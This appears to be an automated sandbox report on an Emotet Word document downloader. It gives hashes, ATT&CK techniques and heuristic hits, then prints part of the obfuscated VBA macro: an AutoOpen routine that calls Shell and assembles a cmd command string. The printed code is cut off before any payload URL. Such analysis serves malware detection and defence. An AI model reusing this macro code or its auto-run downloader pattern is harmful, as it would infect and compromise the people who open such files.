Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 c936fe2c51614e4e…

MALICIOUS

Office (OLE)

139.9 KB Created: 2018-09-26 21:49:00 Authoring application: Microsoft Office Word First seen: 2019-05-10
MD5: 14e2df14e952c9cfbd59e0d8d794911d SHA-1: 23668371f525f52fb7fafe0d8b344fb29aea5635 SHA-256: c936fe2c51614e4e68f17960a3a1f3c7385e38f459f05cb9c46034f3ccc96efa
202 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1566.001 Spearphishing Attachment

The sample contains a critical OLE_VBA_SHELL heuristic firing and a ClamAV detection for Doc.Downloader.Emotet-6884001-2, indicating it is a downloader. The AutoOpen macro is present and likely responsible for executing the malicious payload. The VBA script is heavily obfuscated, but the presence of the Shell() call strongly suggests it attempts to download and execute a second-stage payload.

Heuristics 6

  • ClamAV: Doc.Downloader.Emotet-6884001-2 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-6884001-2
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 111152 bytes
SHA-256: 54328925e2595c194f683dfc60ab6e5b93949e7a9eac908380da687ebfe95aa7
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "uplwidTTizusH"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()
   Dim QVWNBt(2)
QVWNBt(0) = Left(GbzlziS + ATEZFzLVcnKcbhABii + aNUZAH, 759) + MidB(UFjmzXL + CfRhYcUKQiRGdNLlqwEiX + ZAqcJovH, 545, 150)
QVWNBt(1) = Right(pshjwXVM + WlVMZPYztYiDrihWzBFzkWt + HKCwcz, 575) + MidB(zOfii + VGoqBQbqNaQpjGGqmr + FNZaJ, 594, 816) + Right(vqPPES + uaFOWNSXiZboXBjccoHwz + VvUac, 775) + MidB(sQVrjAGD + RpiYZWOVoDndFRTrhGklq + XJAbW, 724, 106)
   Dim twunij(2)
twunij(0) = MidB(ktRofQ + suHlnzRNGthPFuSzkjncZQt + TdiDKOoF, 772, 791) + Right(hhKYnMCf + AnSuGFSitjbtzbBQpdzz + zcDmE, 830) + Right(UdrkPIjm + wNFoLwoAOIVAoOcPwRC + YVkFHth, 69) + Right(ArzKRGp + aizcDVYAWJCwVpMrjHj + VnXuwKIH, 32)
twunij(1) = Mid(BZthkj + jPdEVbvuwiitdCwiEwOB + EUpwfHz, 285, 132) + MidB(rjBSAiO + dYYXlREodSNdUFfOrl + EUPfzMD, 278, 8)
   Dim VFSqE(2)
VFSqE(0) = MidB(NBzUBC + REGolSkkjlIpFvaq + AYctm, 576, 849) + MidB(SJczTq + LBNViGTvNMuZbMrjdvwoP + Rbfnj, 980, 638)
VFSqE(1) = MidB(pKoSRI + QfZzrkoCKuzNNXprPn + NXMWhW, 982, 274) + Right(lXkrLafu + omEAcMkcRiZkSMcDSDwaAb + MLOMUo, 58)
   Dim GfvSKN(1)
GfvSKN(0) = MidB(adGUOPkK + zShJlDVmoslUvNlMn + VrtIw, 997, 37) + MidB(BILBa + tbOobhBpoASBwwzwpPcVD + bqcCQt, 908, 315) + Right(ZjanqEu + jOODBiDihRGLULMLXG + GOhAXIz, 223) + Right(DkHMm + NPkiaiMUhfriMcHpTijV + iuIjzt, 477)
   Dim SLuUmE(1)
SLuUmE(0) = MidB(PMnRf + ErjasLEZzYjOENklJSjjfzK + OCvjcSH, 560, 170) + Left(POmHUOU + BcGXtZdYAahoTDrGwwkb + WujYOR, 593) + Left(jmwYmD + VICzavbQWObCRKXizA + vtQkXnf, 85) + Left(NPTBN + EBwvQMWRuOPYrjbFKLEj + KToBhz, 925)
   Dim KqmCjj(1)
KqmCjj(0) = MidB(CbTUzZJY + wHthuMskEcXGvcDZ + FwqdurB, 664, 404) + Right(Sobdt + NpnzQLimOEwGzFJDDAjLJP + FAicCz, 131) + Right(nGiiwHi + YsLMKkUZwjiikKtilCzznV + aZFsCXf, 823) + MidB(sqtIM + iFJVXZUwBbasTztQUDiH + znjwpdpX, 789, 177)
YcSnTRLM (KeyString(VzVwM + BuFnPZPI + 18 + 20 + 29 + UqjDr + wEVNRR) + XKzuBDU + jwZNHkk + KeyString(kkJCEiDw + lkkcX + 20 + 23 + 34 + PSOhwzru + ULrUluij) + WJJNWfv + aXhScVhQ + EDQIDw + joLVkP + FSXmYsGMaNu + RssYdXZ + jAVCYtkwsU + DofYGV + UiAWtP)
   Dim HAwKb(2)
HAwKb(0) = MidB(sXGYlDDO + kqcoiYlddFfavOtJRWncrn + wSMQTYjJ, 480, 381) + Mid(bMPzwrM + KrmWFQwNlBocRMlG + pazEhFG, 808, 616) + MidB(DnmaZuO + MLiQzCnjkGGGRnRXEJ + lbZlCCr, 355, 448) + MidB(ZdriFf + JwsUzOImcqJJwpZQVko + NiAsZEL, 860, 441)
HAwKb(1) = MidB(ltHcXltF + iOSwutjMiViJGZihRzm + tDhwt, 689, 832) + Mid(CiUhtiK + KHbGjAOMKYYjIFrLjUcr + Hctjf, 78, 434) + MidB(cLimUh + XjKDSiaonzvJhEbYVdjGB + TiZSWi, 39, 707) + MidB(cwptT + QXpJvwuiIMGqaIQCzVQVtYbF + miBWo, 804, 585)
   Dim Ymfjd(1)
Ymfjd(0) = Mid(dOkThmfc + ACwkTqcGiKkCkvpETlm + uNVsX, 991, 984) + MidB(SpcBVF + GWritMzpqpYnkNqFVoFHil + uCSakIV, 590, 306)
End Sub


Attribute VB_Name = "BBVDJJJBaic"
Function WJJNWfv()
Dim LPKJVM(1)
LPKJVM(0) = MidB(kzcSQ + jscXiIfDVUhYBKswAFJE + LnRSFJoR, 968, 403) + Mid(iEWfMC + fZziQaSVuanXVNkDMf + jvKfncV, 854, 141)
   Dim Vncjw(2)
Vncjw(0) = Left(AUCFW + CNfAujKMHdShnqF + iznMuWv, 779) + MidB(TwnInQ + TPKmEJGFmThMAjCZTGYEr + nfXAiQoY, 724, 513) + Left(vdXnQIUb + RUikrjvKSkFiFIDs + GwiHwv, 351) + MidB(WbwUODRt + NqQBLHNFKARiOVDduk + OvIIBvfn, 277, 577)
Vncjw(1) = MidB(YpwTRp + zwEtiRhOQiWCGChG + Wlnwoi, 405, 491) + Mid(FCjpR + ajszZwOFVnqRjjbKRwtmiI + YUoNk, 301, 739) + MidB(Zcznoi + hjScWsOHZTjzuubtRHDa + MrLiWdN, 208, 560) + MidB(MaBjvz + SbZPmCsMRBdJnAKulwFVUIR + ZJVHbk, 231, 16)
   Dim ZbiQYt(1)
ZbiQYt(0) = Right(PZZrpO + tNGEGVVYfvtCYbAWIGjhc + BHuiUHs, 690) + Right(uiUDFFdt + VqwZVWGkNfdMNdFKoB + cFnzECB, 56)
UEkUjrbvz = "d \\\/ \/\   \  \\" + "\ /V:O/C" + """" + "set {$\=a70" + "2 70a2 a720 27a" + "0 072a 02a7 027a 27" + "0a a270 02a7 07a" + "2 a702 a072 "
Dim mnnCn(1)
mnnCn(0) = Left(vEuWEz + RcwaUzSiFmnBSVMS + ahPdJUV, 733) + Mid(jFcDQ + mwmVEzBvvCbBshwujzLtijK + hNwlK, 598, 492) + MidB(MWkOhcZT + NzIIMVsbFHpuOTwQRWSN + UKUQi, 3
... (truncated)

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